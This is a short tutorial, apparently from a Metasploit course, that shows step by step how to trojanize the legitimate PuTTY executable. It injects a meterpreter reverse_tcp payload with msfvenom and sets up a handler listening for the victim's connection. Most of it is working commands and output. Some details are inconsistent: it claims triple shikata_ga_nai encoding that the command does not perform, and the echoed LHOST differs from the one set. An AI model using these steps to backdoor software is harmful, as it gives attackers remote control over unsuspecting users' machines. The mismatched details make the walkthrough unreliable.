Backdooring EXE Files
overview
Creating customized backdoored executables often took a long period of time to do manually as attackers. The ability to embed a Metasploit Payload in any executable that you want is simply brilliant. When we say any executable, it means any executable. You want to backdoor something you download from the internet? How about iexplorer? Or explorer.exe or putty, any of these would work. The best part about it is its extremely simple. We begin by first downloading our legitimate executable, in this case, the popular PuTTY client.
Downloading Legit application
wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
--2021-06-07 20:22:36-- http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
Resolving the.earth.li (the.earth.li)... 93.93.131.124, 2a00:1098:86:4d:c0ff:ee:15:900d
Connecting to the.earth.li (the.earth.li)|93.93.131.124|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe [following]
--2021-06-07 20:22:36-- https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe
Connecting to the.earth.li (the.earth.li)|93.93.131.124|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://the.earth.li/~sgtatham/putty/0.75/w32/putty.exe [following]
--2021-06-07 20:22:37-- https://the.earth.li/~sgtatham/putty/0.75/w32/putty.exe
Reusing existing connection to the.earth.li:443.
HTTP request sent, awaiting response... 200 OK
Length: 1179880 (1.1M) [application/x-msdos-program]
Saving to: ‘putty.exe’
putty.exe 100%[=================================================================>] 1.12M 380KB/s in 3.0s
2021-06-07 20:22:41 (380 KB/s) - ‘putty.exe’ saved [1179880/1179880]
Next, we use msfvenom to inject a meterpreter reverse payload into our executable, encode it three times using shikata_ga_nai and save the backdoored file into our webroot directory.
Backdooring the Application
msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=192.168.100.101 -f exe -o putty-malware.exe
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 1542144 bytes
Saved as: putty-malware.exe
listener setup
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.100.101
LHOST => 192.168.1.101
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.100.101:443
[*] Starting the payload handler...
Screen Shot From Windows System
